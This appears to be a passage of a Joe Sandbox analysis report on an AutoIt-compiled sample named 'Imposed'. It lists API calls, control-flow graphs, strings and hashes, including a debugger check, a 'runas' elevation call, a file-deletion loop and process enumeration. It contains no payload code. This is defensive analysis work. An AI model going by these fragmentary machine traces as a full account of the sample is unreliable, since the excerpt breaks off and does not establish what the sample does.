                                                                                                                                                                • GetVersionExW.KERNEL32(?), ref: 009929D3
                                                                                                                                                                  • Part of subcall function 0099B0DB: _wcslen.LIBCMT ref: 0099B0EE
                                                                                                                                                                • GetCurrentProcess.KERNEL32(?,00A2D958,00000000,?,?), ref: 00992AEA
                                                                                                                                                                • IsWow64Process.KERNEL32(00000000,?,?), ref: 00992AF1
                                                                                                                                                                • LoadLibraryA.KERNEL32(kernel32.dll,?,?), ref: 00992B1C
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00992B2E
                                                                                                                                                                • GetNativeSystemInfo.KERNEL32(?,?,?), ref: 00992B3C
                                                                                                                                                                • FreeLibrary.KERNEL32(00000000,?,?), ref: 00992B43
                                                                                                                                                                • GetSystemInfo.KERNEL32(?,?,?), ref: 00992B68
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: InfoLibraryProcessSystem$AddressCurrentFreeLoadNativeProcVersionWow64_wcslen
                                                                                                                                                                • String ID: GetNativeSystemInfo$kernel32.dll
                                                                                                                                                                • API String ID: 3290436268-192647395
                                                                                                                                                                • Opcode ID: 11a3ccb88e7d2d63ee22440bb18e5516f71111f8257a280d1de25977cc498dad
                                                                                                                                                                • Instruction ID: 7ae15c9a9c459c59a0a2139e0dee1a339e07bbec1efdfd7258683cba0e0f8052
                                                                                                                                                                • Opcode Fuzzy Hash: 11a3ccb88e7d2d63ee22440bb18e5516f71111f8257a280d1de25977cc498dad
                                                                                                                                                                • Instruction Fuzzy Hash: 599173A294EBC0DFCB21CBEC7D453A57FB4AB763017048899E4449F366D3A84507DB22
                                                                                                                                                                Function 0099331E Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 148windowCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                APIs
                                                                                                                                                                • GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,?,?,0099292D,?), ref: 0099334E
                                                                                                                                                                • IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,0099292D,?), ref: 00993361
                                                                                                                                                                • GetFullPathNameW.KERNEL32(00007FFF,?,?,00A62408,00A623F0,?,?,?,?,?,?,0099292D,?), ref: 009933CD
                                                                                                                                                                  • Part of subcall function 0099B0DB: _wcslen.LIBCMT ref: 0099B0EE
                                                                                                                                                                  • Part of subcall function 009945A6: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,009933F5,00A62408,?,?,?,?,?,?,?,0099292D,?), ref: 009945E7
                                                                                                                                                                • SetCurrentDirectoryW.KERNEL32(?,00000001,00A62408,?,?,?,?,?,?,?,0099292D,?), ref: 0099344E
                                                                                                                                                                • MessageBoxA.USER32(00000000,It is a violation of the AutoIt EULA to attempt to reverse engineer this program.,AutoIt,00000010), ref: 009D3E23
                                                                                                                                                                • SetCurrentDirectoryW.KERNEL32(?,00A62408,?,?,?,?,?,?,?,0099292D,?), ref: 009D3E64
                                                                                                                                                                • GetForegroundWindow.USER32(runas,?,?,?,00000001,?,00A531F4,00A62408,?,?,?,?,?,?,?,0099292D), ref: 009D3EED
                                                                                                                                                                • ShellExecuteW.SHELL32(00000000,?,?), ref: 009D3EF4
                                                                                                                                                                  • Part of subcall function 00993466: GetSysColorBrush.USER32(0000000F), ref: 00993471
                                                                                                                                                                  • Part of subcall function 00993466: LoadCursorW.USER32(00000000,00007F00), ref: 00993480
                                                                                                                                                                  • Part of subcall function 00993466: LoadIconW.USER32(00000063), ref: 00993496
                                                                                                                                                                  • Part of subcall function 00993466: LoadIconW.USER32(000000A4), ref: 009934A8
                                                                                                                                                                  • Part of subcall function 00993466: LoadIconW.USER32(000000A2), ref: 009934BA
                                                                                                                                                                  • Part of subcall function 00993466: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 009934D2
                                                                                                                                                                  • Part of subcall function 00993466: RegisterClassExW.USER32(?), ref: 00993523
                                                                                                                                                                  • Part of subcall function 00993546: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00993574
                                                                                                                                                                  • Part of subcall function 00993546: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00993595
                                                                                                                                                                  • Part of subcall function 00993546: ShowWindow.USER32(00000000,?,?,?,?,?,?,0099292D,?), ref: 009935A9
                                                                                                                                                                  • Part of subcall function 00993546: ShowWindow.USER32(00000000,?,?,?,?,?,?,0099292D,?), ref: 009935B2
                                                                                                                                                                  • Part of subcall function 00993DF8: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00993EC9
                                                                                                                                                                Strings
                                                                                                                                                                • AutoIt, xrefs: 009D3E18
                                                                                                                                                                • It is a violation of the AutoIt EULA to attempt to reverse engineer this program., xrefs: 009D3E1D
                                                                                                                                                                • runas, xrefs: 009D3EE8
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__wcslen
                                                                                                                                                                • String ID: AutoIt$It is a violation of the AutoIt EULA to attempt to reverse engineer this program.$runas
                                                                                                                                                                • API String ID: 683915450-2030392706
                                                                                                                                                                • Opcode ID: d392e59af8ff18ba84f4cfbf93013b3692ceec01ae99f87b4f142510101c34b7
                                                                                                                                                                • Instruction ID: e9dd380c5a6ebbf5d947705f64852de073c7bbf0d869881f0bf1bcc20003025b
                                                                                                                                                                • Opcode Fuzzy Hash: d392e59af8ff18ba84f4cfbf93013b3692ceec01ae99f87b4f142510101c34b7
                                                                                                                                                                • Instruction Fuzzy Hash: 1E510831148741AACF16EFA8ED45F7E7BB8ABD4740F00482DF591462A2CF648A4BD723
                                                                                                                                                                Function 009FDB0B Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 1098 9fdb0b-9fdb52 call 999091 * 3 call 9950f7 call 9fe970 1109 9fdb54-9fdb5d call 994dcb 1098->1109 1110 9fdb62-9fdb93 call 996052 FindFirstFileW 1098->1110 1109->1110 1114 9fdb95-9fdb97 1110->1114 1115 9fdc02-9fdc09 FindClose 1110->1115 1114->1115 1117 9fdb99-9fdb9e 1114->1117 1116 9fdc0d-9fdc2f call 99774c * 3 1115->1116 1119 9fdbdd-9fdbef FindNextFileW 1117->1119 1120 9fdba0-9fdbdb call 9990c3 call 994d30 call 994dcb DeleteFileW 1117->1120 1119->1114 1121 9fdbf1-9fdbf7 1119->1121 1120->1119 1133 9fdbf9-9fdc00 FindClose 1120->1133 1121->1114 1133->1116
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 009950F7: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00995035,?,?,009D4641,?,?,00000100,00000000,00000000,CMDLINE), ref: 00995117
                                                                                                                                                                  • Part of subcall function 009FE970: GetFileAttributesW.KERNEL32(?,009FD6EB), ref: 009FE971
                                                                                                                                                                • FindFirstFileW.KERNEL32(?,?), ref: 009FDB82
                                                                                                                                                                • DeleteFileW.KERNEL32(?,?,?,?), ref: 009FDBD2
                                                                                                                                                                • FindNextFileW.KERNELBASE(00000000,00000010), ref: 009FDBE3
                                                                                                                                                                • FindClose.KERNEL32(00000000), ref: 009FDBFA
                                                                                                                                                                • FindClose.KERNEL32(00000000), ref: 009FDC03
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
                                                                                                                                                                • String ID: \*.*
                                                                                                                                                                • API String ID: 2649000838-1173974218
                                                                                                                                                                • Opcode ID: b77128ef6b087c02b041a0dcea316da7825881d2168dc2b570e760f65ce54410
                                                                                                                                                                • Instruction ID: a47ded516cadc1b31699d08d5ae38bce21fc15d3a1727be4dddbeae13709d122
                                                                                                                                                                • Opcode Fuzzy Hash: b77128ef6b087c02b041a0dcea316da7825881d2168dc2b570e760f65ce54410
                                                                                                                                                                • Instruction Fuzzy Hash: 03317C310193859BC701EF68D8959BFB7E9AE95305F404E2DF5E583191EB20DA0ACBA3
                                                                                                                                                                Function 009FDC3E Relevance: 7.6, APIs: 5, Instructions: 89processCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 1186 9fdc3e-9fdc86 CreateToolhelp32Snapshot Process32FirstW call 9fe6c0 1189 9fdd3f-9fdd42 1186->1189 1190 9fdc8b-9fdc9a Process32NextW 1189->1190 1191 9fdd48-9fdd57 CloseHandle 1189->1191 1190->1191 1192 9fdca0-9fdd15 call 999091 * 2 call 99c110 call 996052 call 99774c call 994d30 CompareStringW 1190->1192 1205 9fdd17-9fdd1a 1192->1205 1206 9fdd24-9fdd2b 1192->1206 1205->1206 1207 9fdd1c-9fdd1e 1205->1207 1208 9fdd2d-9fdd3a call 99774c * 2 1206->1208 1207->1208 1209 9fdd20-9fdd22 1207->1209 1208->1189 1209->1206 1209->1208
                                                                                                                                                                APIs
                                                                                                                                                                • CreateToolhelp32Snapshot.KERNEL32 ref: 009FDC63
                                                                                                                                                                • Process32FirstW.KERNEL32(00000000,?), ref: 009FDC71
                                                                                                                                                                • Process32NextW.KERNEL32(00000000,?), ref: 009FDC91
                                                                                                                                                                • CompareStringW.KERNEL32(00000400,00000001,?,?,?,?,?), ref: 009FDD09
                                                                                                                                                                • CloseHandle.KERNEL32(00000000), ref: 009FDD49
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Process32$CloseCompareCreateFirstHandleNextSnapshotStringToolhelp32
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2000298826-0
                                                                                                                                                                • Opcode ID: 357f7e6834afa194384cb490b3398666598a79d44b09a12ebcf33f95b40a8c32
                                                                                                                                                                • Instruction ID: 8cd325fdb943e94f7e9def04a08108b28773150c35465f07f905cef176b5d932
                                                                                                                                                                • Opcode Fuzzy Hash: 357f7e6834afa194384cb490b3398666598a79d44b09a12ebcf33f95b40a8c32
                                                                                                                                                                • Instruction Fuzzy Hash: 9C318D711083049FC711DF98D885BBFBBE9AFD9340F10092DF681821A1DB71994ACBA2
                                                                                                                                                                Function 009B5108 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetCurrentProcess.KERNEL32(00000003,?,009B50DE,00000003,00A59820,0000000C,009B5235,00000003,00000002,00000000,?,009C2D05,00000003), ref: 009B5129
                                                                                                                                                                • TerminateProcess.KERNEL32(00000000,?,009B50DE,00000003,00A59820,0000000C,009B5235,00000003,00000002,00000000,?,009C2D05,00000003), ref: 009B5130
                                                                                                                                                                • ExitProcess.KERNEL32 ref: 009B5142
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Process$CurrentExitTerminate
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1703294689-0
                                                                                                                                                                • Opcode ID: 01313f3aaebffcc8e1b9d37f77472c188881456f09c74b1251a3a0309a2c212f
                                                                                                                                                                • Instruction ID: 40e2c35715850cf6d1ac573fbc0eeeef619d9dd1ec38831d900482f48fcb3474
                                                                                                                                                                • Opcode Fuzzy Hash: 01313f3aaebffcc8e1b9d37f77472c188881456f09c74b1251a3a0309a2c212f
                                                                                                                                                                • Instruction Fuzzy Hash: 7BE0B631404648BFCF21AFA8DE19BA83B69EB443A1F018424F8098A122DB35DD53CB91
                                                                                                                                                                Function 0099DC90 Relevance: 21.6, APIs: 14, Instructions: 618windowsleeptimeCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetInputState.USER32 ref: 0099DD67
                                                                                                                                                                • timeGetTime.WINMM ref: 0099DF67
                                                                                                                                                                • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0099E088
                                                                                                                                                                • TranslateMessage.USER32(?), ref: 0099E0DB
                                                                                                                                                                • DispatchMessageW.USER32(?), ref: 0099E0E9
                                                                                                                                                                • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0099E0FF
                                                                                                                                                                • Sleep.KERNEL32(0000000A), ref: 0099E111
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Message$Peek$DispatchInputSleepStateTimeTranslatetime
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2189390790-0
                                                                                                                                                                • Opcode ID: 554965793bf3b784abdf2bf25adfe168e0fbe1d10dd1a077a817007a855718bc
                                                                                                                                                                • Instruction ID: 6da8dd1d9b636a562e7091611be51df41fb95b46897b23ff31bd17f02d628e47
                                                                                                                                                                • Opcode Fuzzy Hash: 554965793bf3b784abdf2bf25adfe168e0fbe1d10dd1a077a817007a855718bc
                                                                                                                                                                • Instruction Fuzzy Hash: 5A420770608781EFDB25CF28C889B6AB7E8BF81304F14892DE55687291C775ED85CB82
                                                                                                                                                                Function 009935B7 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53windowregistryCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                APIs
                                                                                                                                                                • GetSysColorBrush.USER32(0000000F), ref: 009935EA
                                                                                                                                                                • RegisterClassExW.USER32(00000030), ref: 00993614
                                                                                                                                                                • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00993625
                                                                                                                                                                • InitCommonControlsEx.COMCTL32(?), ref: 00993642
                                                                                                                                                                • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00993652
                                                                                                                                                                • LoadIconW.USER32(000000A9), ref: 00993668
                                                                                                                                                                • ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00993677
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                                                                                                                                                • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                                                                                                                                                                • API String ID: 2914291525-1005189915
                                                                                                                                                                • Opcode ID: 4b4089d44531cbe16060224a912f4da9f664cd71ddea7d1b699b417f3a920cd5
                                                                                                                                                                • Instruction ID: 505fc35e81b248b95ad6d06da700532a8a438148099a405d03ea3864dafaf8fe
                                                                                                                                                                • Opcode Fuzzy Hash: 4b4089d44531cbe16060224a912f4da9f664cd71ddea7d1b699b417f3a920cd5
                                                                                                                                                                • Instruction Fuzzy Hash: 4521F2B1D11318AFDB10DFE8EC88BADBBB4FB08700F10412AF611AA2A0D7B44542CF94
                                                                                                                                                                Function 009D0A7C Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272COMMONLIBRARYCODE
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 360 9d0a7c-9d0aac call 9d0850 363 9d0aae-9d0ab9 call 9c2c25 360->363 364 9d0ac7-9d0ad3 call 9c5641 360->364 369 9d0abb-9d0ac2 call 9c2c38 363->369 370 9d0aec-9d0b35 call 9d07bb 364->370 371 9d0ad5-9d0aea call 9c2c25 call 9c2c38 364->371 380 9d0d9e-9d0da4 369->380 378 9d0b37-9d0b40 370->378 379 9d0ba2-9d0bab GetFileType 370->379 371->369 382 9d0b77-9d0b9d GetLastError call 9c2c02 378->382 383 9d0b42-9d0b46 378->383 384 9d0bad-9d0bde GetLastError call 9c2c02 CloseHandle 379->384 385 9d0bf4-9d0bf7 379->385 382->369 383->382 389 9d0b48-9d0b75 call 9d07bb 383->389 384->369 399 9d0be4-9d0bef call 9c2c38 384->399 387 9d0bf9-9d0bfe 385->387 388 9d0c00-9d0c06 385->388 392 9d0c0a-9d0c58 call 9c558a 387->392 388->392 393 9d0c08 388->393 389->379 389->382 402 9d0c68-9d0c8c call 9d056e 392->402 403 9d0c5a-9d0c66 call 9d09cc 392->403 393->392 399->369 410 9d0c9f-9d0ce2 402->410 411 9d0c8e 402->411 403->402 409 9d0c90-9d0c9a call 9c8ace 403->409 409->380 412 9d0ce4-9d0ce8 410->412 413 9d0d03-9d0d11 410->413 411->409 412->413 415 9d0cea-9d0cfe 412->415 416 9d0d9c 413->416 417 9d0d17-9d0d1b 413->417 415->413 416->380 417->416 419 9d0d1d-9d0d50 CloseHandle call 9d07bb 417->419 422 9d0d84-9d0d98 419->422 423 9d0d52-9d0d7e GetLastError call 9c2c02 call 9c5753 419->423 422->416 423->422
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 009D07BB: CreateFileW.KERNEL32(00000000,00000000,?,009D0B25,?,?,00000000,?,009D0B25,00000000,0000000C), ref: 009D07D8
                                                                                                                                                                • GetLastError.KERNEL32 ref: 009D0B90
                                                                                                                                                                • __dosmaperr.LIBCMT ref: 009D0B97
                                                                                                                                                                • GetFileType.KERNEL32(00000000), ref: 009D0BA3
                                                                                                                                                                • GetLastError.KERNEL32 ref: 009D0BAD
                                                                                                                                                                • __dosmaperr.LIBCMT ref: 009D0BB6
                                                                                                                                                                • CloseHandle.KERNEL32(00000000), ref: 009D0BD6
                                                                                                                                                                • CloseHandle.KERNEL32(?), ref: 009D0D20
                                                                                                                                                                • GetLastError.KERNEL32 ref: 009D0D52
                                                                                                                                                                • __dosmaperr.LIBCMT ref: 009D0D59
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
                                                                                                                                                                • String ID: H
                                                                                                                                                                • API String ID: 4237864984-2852464175
                                                                                                                                                                • Opcode ID: 3fcc6cbaa0998b23d5ca0fd82a8da9b3366491169c7842249700abcef1488fd4
                                                                                                                                                                • Instruction ID: 62ddb076b79307374a421b88e334016e1155f75941058b4eef1862c04d65e7ff
                                                                                                                                                                • Opcode Fuzzy Hash: 3fcc6cbaa0998b23d5ca0fd82a8da9b3366491169c7842249700abcef1488fd4
                                                                                                                                                                • Instruction Fuzzy Hash: 0CA12532A542048FCF19DF68D852BAE7BA5AB86320F18415EF8419F3D1CB749813CB52
                                                                                                                                                                Function 00994E52 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201registryCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 00994FF8: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,?,?,009D4641,?,?,00000100,00000000,00000000,CMDLINE,?,?,00000001,00000000), ref: 00995016
                                                                                                                                                                  • Part of subcall function 00994B95: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00994BB7
                                                                                                                                                                • RegOpenKeyExW.KERNEL32(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 00994F6F
                                                                                                                                                                • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 009D48D8
                                                                                                                                                                • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 009D4919
                                                                                                                                                                • RegCloseKey.ADVAPI32(?), ref: 009D495B
                                                                                                                                                                • _wcslen.LIBCMT ref: 009D49C2
                                                                                                                                                                • _wcslen.LIBCMT ref: 009D49D1
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: NameQueryValue_wcslen$CloseFileFullModuleOpenPath
                                                                                                                                                                • String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
                                                                                                                                                                • API String ID: 98802146-2727554177
                                                                                                                                                                • Opcode ID: 6df6232f6f4d9e262d69fe64cefb31604e579dbbfe5f0b5a0c55513eaab7e4b3
                                                                                                                                                                • Instruction ID: 2b12b67e9c7dd05b52f2328158386c4b4a684a439b7bf9c06c79a4908c739fe8
                                                                                                                                                                • Opcode Fuzzy Hash: 6df6232f6f4d9e262d69fe64cefb31604e579dbbfe5f0b5a0c55513eaab7e4b3
                                                                                                                                                                • Instruction Fuzzy Hash: 7C719F725083019ECB00EFA9E89599BBBF8FF94740F40482EF4458B2A1DF719A4BCB51
                                                                                                                                                                Function 00993466 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63windowregistryCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                APIs
                                                                                                                                                                • GetSysColorBrush.USER32(0000000F), ref: 00993471
                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F00), ref: 00993480
                                                                                                                                                                • LoadIconW.USER32(00000063), ref: 00993496
                                                                                                                                                                • LoadIconW.USER32(000000A4), ref: 009934A8
                                                                                                                                                                • LoadIconW.USER32(000000A2), ref: 009934BA
                                                                                                                                                                • LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 009934D2
                                                                                                                                                                • RegisterClassExW.USER32(?), ref: 00993523
                                                                                                                                                                  • Part of subcall function 009935B7: GetSysColorBrush.USER32(0000000F), ref: 009935EA
